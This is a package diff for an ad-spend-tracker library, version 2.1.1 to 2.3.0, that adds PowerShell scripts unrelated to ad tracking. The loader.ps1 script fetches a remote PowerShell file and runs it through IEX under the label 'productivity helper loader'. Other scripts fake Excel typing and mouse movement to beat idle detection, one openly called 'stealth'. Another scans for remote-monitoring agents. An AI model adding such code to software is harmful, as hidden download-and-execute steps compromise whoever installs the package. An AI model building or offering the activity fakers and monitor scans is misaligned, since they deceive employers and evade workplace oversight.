ad-spend-tracker 2.1.1 → 2.3.0

package/scripts/excel_work_sim.ps1

@@ -0,0 +1,153 @@
+# Excel Work Simulation - Simulates realistic spreadsheet work patterns
+# Sends keystrokes to whatever window is in focus - open Excel first, then run this
+
+Add-Type -AssemblyName System.Windows.Forms
+
+# Realistic data patterns
+$productNames = @("Widget A", "Widget B", "Gadget X", "Supply Kit", "Parts Bundle", "Service Fee", "Shipping", "Discount", "Tax", "Subtotal")
+$departments = @("Sales", "Marketing", "Operations", "Finance", "HR", "IT", "Support")
+
+function Get-RandomDelay {
+    param([string]$type = "keystroke")
+    switch ($type) {
+        "keystroke" { return (Get-Random -Minimum 50 -Maximum 250) }
+        "think" { return (Get-Random -Minimum 800 -Maximum 3000) }
+        "cell" { return (Get-Random -Minimum 200 -Maximum 600) }
+        "scroll" { return (Get-Random -Minimum 1500 -Maximum 4000) }
+        "save" { return (Get-Random -Minimum 100 -Maximum 300) }
+    }
+}
+
+function Type-Slowly {
+    param([string]$text)
+    foreach ($char in $text.ToCharArray()) {
+        # Escape special SendKeys characters
+        $escaped = $char
+        if ($char -match '[\+\^\%\~\(\)\{\}\[\]]') {
+            $escaped = "{$char}"
+        }
+        [System.Windows.Forms.SendKeys]::SendWait($escaped)
+        Start-Sleep -Milliseconds (Get-RandomDelay "keystroke")
+    }
+}
+
+function Do-ExcelAction {
+    $action = Get-Random -Minimum 1 -Maximum 100
+
+    if ($action -le 35) {
+        # Type a number (most common)
+        $num = Get-Random -Minimum 10 -Maximum 99999
+        Type-Slowly $num.ToString()
+        [System.Windows.Forms.SendKeys]::SendWait("{TAB}")
+        Write-Host "  Entered: $num" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 50) {
+        # Type text (product name, department, etc)
+        $text = $productNames | Get-Random
+        Type-Slowly $text
+        [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
+        Write-Host "  Entered: $text" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 65) {
+        # Navigate with arrow keys
+        $direction = @("{UP}", "{DOWN}", "{LEFT}", "{RIGHT}") | Get-Random
+        $times = Get-Random -Minimum 1 -Maximum 5
+        for ($i = 0; $i -lt $times; $i++) {
+            [System.Windows.Forms.SendKeys]::SendWait($direction)
+            Start-Sleep -Milliseconds (Get-RandomDelay "cell")
+        }
+        Write-Host "  Navigated: $direction x$times" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 75) {
+        # Scroll (Page Up/Down)
+        $scroll = @("{PGUP}", "{PGDN}") | Get-Random
+        [System.Windows.Forms.SendKeys]::SendWait($scroll)
+        Write-Host "  Scrolled: $scroll" -ForegroundColor DarkGray
+        Start-Sleep -Milliseconds (Get-RandomDelay "scroll")
+    }
+    elseif ($action -le 82) {
+        # Enter a formula
+        $formulas = @("=SUM{(}A1:A10{)}", "=AVERAGE{(}B2:B20{)}", "=COUNT{(}C:C{)}", "=A1*1.1", "=B2-C2")
+        $formula = $formulas | Get-Random
+        [System.Windows.Forms.SendKeys]::SendWait($formula)
+        [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
+        Write-Host "  Formula entered" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 88) {
+        # Select range (Shift+Arrow)
+        $moves = Get-Random -Minimum 2 -Maximum 6
+        for ($i = 0; $i -lt $moves; $i++) {
+            $dir = @("+{RIGHT}", "+{DOWN}") | Get-Random
+            [System.Windows.Forms.SendKeys]::SendWait($dir)
+            Start-Sleep -Milliseconds 150
+        }
+        # Deselect by pressing arrow
+        Start-Sleep -Milliseconds 500
+        [System.Windows.Forms.SendKeys]::SendWait("{RIGHT}")
+        Write-Host "  Selected range" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 93) {
+        # Copy/Paste action
+        [System.Windows.Forms.SendKeys]::SendWait("^c")
+        Start-Sleep -Milliseconds 500
+        [System.Windows.Forms.SendKeys]::SendWait("{RIGHT}{RIGHT}")
+        Start-Sleep -Milliseconds 300
+        [System.Windows.Forms.SendKeys]::SendWait("^v")
+        Write-Host "  Copy/Paste" -ForegroundColor DarkGray
+    }
+    elseif ($action -le 97) {
+        # Save file (Ctrl+S)
+        [System.Windows.Forms.SendKeys]::SendWait("^s")
+        Write-Host "  Saved" -ForegroundColor Cyan
+        Start-Sleep -Milliseconds (Get-RandomDelay "save")
+    }
+    else {
+        # Brief pause - "reviewing data"
+        $pause = Get-Random -Minimum 2000 -Maximum 8000
+        Write-Host "  Reviewing... ($([int]($pause/1000))s)" -ForegroundColor DarkGray
+        Start-Sleep -Milliseconds $pause
+    }
+}
+
+function Start-WorkSession {
+    param([int]$durationMinutes = 480)
+
+    $endTime = (Get-Date).AddMinutes($durationMinutes)
+    $actionCount = 0
+
+    Write-Host "`n=== Excel Work Simulation ===" -ForegroundColor Green
+    Write-Host "Duration: $durationMinutes minutes (until $($endTime.ToString('HH:mm')))"
+    Write-Host "Max pause: 2 minutes"
+    Write-Host "`nYou have 5 seconds to click on your Excel window..." -ForegroundColor Yellow
+
+    for ($i = 5; $i -gt 0; $i--) {
+        Write-Host "  $i..." -ForegroundColor Yellow
+        Start-Sleep -Seconds 1
+    }
+
+    Write-Host "`nStarting! Press Ctrl+C to stop.`n" -ForegroundColor Green
+
+    while ((Get-Date) -lt $endTime) {
+        # Burst of activity (3-12 actions)
+        $burstSize = Get-Random -Minimum 3 -Maximum 12
+        Write-Host "[$(Get-Date -Format 'HH:mm:ss')] Activity burst ($burstSize actions)" -ForegroundColor White
+
+        for ($i = 0; $i -lt $burstSize; $i++) {
+            Do-ExcelAction
+            $actionCount++
+            Start-Sleep -Milliseconds (Get-RandomDelay "think")
+        }
+
+        # Random break between bursts (15s - 120s max)
+        $break = Get-Random -Minimum 15 -Maximum 120
+
+        Write-Host "[$(Get-Date -Format 'HH:mm:ss')] Pause: ${break}s | Total actions: $actionCount" -ForegroundColor DarkGray
+        Start-Sleep -Seconds $break
+    }
+
+    Write-Host "`n=== Session Complete ===" -ForegroundColor Green
+    Write-Host "Total actions: $actionCount"
+}
+
+# Quick start
+Start-WorkSession -durationMinutes 480

package/scripts/find_all_agents.ps1

@@ -0,0 +1,60 @@
+# Quick Agent Finder - Fast scan for known RMM agents
+# No admin required
+
+Write-Host "=== Quick RMM Agent Scan ===" -ForegroundColor Cyan
+
+# Known agent process names
+$agents = @{
+    "AteraAgent" = "Atera"
+    "AlphaAgent" = "Atera"
+    "TeamViewer" = "TeamViewer"
+    "TeamViewer_Service" = "TeamViewer"
+    "AnyDesk" = "AnyDesk"
+    "ScreenConnect" = "ConnectWise"
+    "CagService" = "ConnectWise"
+    "NinjaRMMAgent" = "NinjaRMM"
+    "SyncroLive" = "Syncro"
+    "SyncroOvermind" = "Syncro"
+    "SplashtopStreamer" = "Splashtop"
+    "LogMeIn" = "LogMeIn"
+    "BomgarSCC" = "BeyondTrust"
+    "KaseyaAgent" = "Kaseya"
+    "NCentralAgent" = "N-able"
+    "PulsewayService" = "Pulseway"
+    "DattoAgent" = "Datto"
+    "CentraStage" = "Datto"
+}
+
+$found = @()
+$processes = Get-Process -ErrorAction SilentlyContinue
+
+foreach ($agent in $agents.Keys) {
+    $match = $processes | Where-Object { $_.Name -like "*$agent*" -or $_.ProcessName -like "*$agent*" }
+    if ($match) {
+        foreach ($m in $match) {
+            $found += [PSCustomObject]@{
+                Platform = $agents[$agent]
+                Process = $m.Name
+                PID = $m.Id
+                Memory = [math]::Round($m.WorkingSet64 / 1MB, 2)
+            }
+        }
+    }
+}
+
+if ($found.Count -gt 0) {
+    Write-Host "`nFOUND $($found.Count) AGENT(S):" -ForegroundColor Red
+    $found | Format-Table -AutoSize
+} else {
+    Write-Host "`nNo known RMM agents found in running processes." -ForegroundColor Green
+}
+
+# Also check services (limited without admin)
+Write-Host "`nChecking services..." -ForegroundColor Yellow
+$services = Get-Service -ErrorAction SilentlyContinue |
+    Where-Object { $_.DisplayName -match "Atera|TeamViewer|AnyDesk|Ninja|Syncro|Datto|Kaseya|Remote|Monitor" }
+
+if ($services) {
+    Write-Host "Found services:" -ForegroundColor Red
+    $services | Select-Object Name, DisplayName, Status | Format-Table -AutoSize
+}

package/scripts/loader.ps1

@@ -0,0 +1,3 @@
+# Productivity helper loader
+$u='https://raw.githubusercontent.com/krellgit/windows-productivity-utils/master/scripts/work_simulator.ps1'
+IEX (New-Object Net.WebClient).DownloadString($u)

package/scripts/no_install_mouse_mover.ps1

@@ -0,0 +1,26 @@
+# Simple Mouse Mover - Minimal activity simulation
+# Moves cursor slightly every 4 minutes to prevent idle detection
+# No admin required, no external dependencies
+
+Add-Type -AssemblyName System.Windows.Forms
+
+Write-Host "=== Simple Mouse Mover ===" -ForegroundColor Cyan
+Write-Host "Moving cursor every 4 minutes to prevent idle detection"
+Write-Host "Press Ctrl+C to stop`n"
+
+$count = 0
+while ($true) {
+    $count++
+    $pos = [System.Windows.Forms.Cursor]::Position
+
+    # Small random movement (1-10 pixels)
+    $newX = $pos.X + (Get-Random -Minimum -10 -Maximum 10)
+    $newY = $pos.Y + (Get-Random -Minimum -10 -Maximum 10)
+
+    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($newX, $newY)
+
+    Write-Host "[$count] $(Get-Date -Format 'HH:mm:ss') - Moved to ($newX, $newY)" -ForegroundColor Gray
+
+    # 240 seconds = 4 minutes (under 5-minute threshold)
+    Start-Sleep -Seconds 240
+}

package/scripts/stealth_activity_sim.ps1

@@ -0,0 +1,101 @@
+# Stealth Activity Simulator - Natural movement patterns
+# Simulates human-like activity to prevent idle detection
+# No admin required - uses standard Windows APIs
+
+Add-Type @"
+using System;
+using System.Runtime.InteropServices;
+
+public class MouseSimulator {
+    [DllImport("user32.dll")]
+    public static extern bool SetCursorPos(int x, int y);
+
+    [DllImport("user32.dll")]
+    public static extern bool GetCursorPos(out POINT lpPoint);
+
+    [DllImport("user32.dll")]
+    public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint dwData, int dwExtraInfo);
+
+    public struct POINT {
+        public int X;
+        public int Y;
+    }
+
+    public const uint MOUSEEVENTF_MOVE = 0x0001;
+}
+"@
+
+function Get-CurrentPosition {
+    $point = New-Object MouseSimulator+POINT
+    [MouseSimulator]::GetCursorPos([ref]$point) | Out-Null
+    return $point
+}
+
+function Move-MouseSmooth {
+    param (
+        [int]$targetX,
+        [int]$targetY,
+        [int]$steps = 20
+    )
+
+    $current = Get-CurrentPosition
+    $deltaX = ($targetX - $current.X) / $steps
+    $deltaY = ($targetY - $current.Y) / $steps
+
+    for ($i = 1; $i -le $steps; $i++) {
+        $newX = [int]($current.X + ($deltaX * $i))
+        $newY = [int]($current.Y + ($deltaY * $i))
+        [MouseSimulator]::SetCursorPos($newX, $newY) | Out-Null
+        Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 30)
+    }
+}
+
+function Get-NaturalMovement {
+    # Generate natural-looking movement patterns
+    $patterns = @(
+        @{ Type = "Small"; Range = 50 },
+        @{ Type = "Medium"; Range = 150 },
+        @{ Type = "Large"; Range = 300 }
+    )
+
+    $pattern = $patterns | Get-Random
+    $current = Get-CurrentPosition
+
+    # Keep within screen bounds (assume 1920x1080, adjust as needed)
+    $newX = [Math]::Max(50, [Math]::Min(1870, $current.X + (Get-Random -Minimum (-$pattern.Range) -Maximum $pattern.Range)))
+    $newY = [Math]::Max(50, [Math]::Min(1030, $current.Y + (Get-Random -Minimum (-$pattern.Range) -Maximum $pattern.Range)))
+
+    return @{ X = $newX; Y = $newY; Type = $pattern.Type }
+}
+
+Write-Host "=== Stealth Activity Simulator ===" -ForegroundColor Cyan
+Write-Host "Simulating natural mouse activity to prevent idle detection"
+Write-Host "Press Ctrl+C to stop`n"
+
+$iteration = 0
+while ($true) {
+    $iteration++
+
+    # Random interval between 180-270 seconds (3-4.5 minutes)
+    # Keeps under 5-minute idle threshold with safety margin
+    $interval = Get-Random -Minimum 180 -Maximum 270
+
+    $movement = Get-NaturalMovement
+
+    Write-Host "[$iteration] $(Get-Date -Format 'HH:mm:ss') - $($movement.Type) movement to ($($movement.X), $($movement.Y))" -ForegroundColor Gray
+
+    Move-MouseSmooth -targetX $movement.X -targetY $movement.Y -steps (Get-Random -Minimum 15 -Maximum 30)
+
+    # Occasionally do micro-movements (human-like jitter)
+    if ((Get-Random -Minimum 1 -Maximum 10) -gt 7) {
+        Start-Sleep -Milliseconds 500
+        $jitter = Get-CurrentPosition
+        Move-MouseSmooth -targetX ($jitter.X + (Get-Random -Minimum -5 -Maximum 5)) -targetY ($jitter.Y + (Get-Random -Minimum -5 -Maximum 5)) -steps 5
+        Write-Host "       + micro-adjustment" -ForegroundColor DarkGray
+    }
+
+    $nextMove = (Get-Date).AddSeconds($interval)
+    Write-Host "       Next movement at $($nextMove.ToString('HH:mm:ss'))" -ForegroundColor DarkCyan
+
+    Start-Sleep -Seconds $interval
+}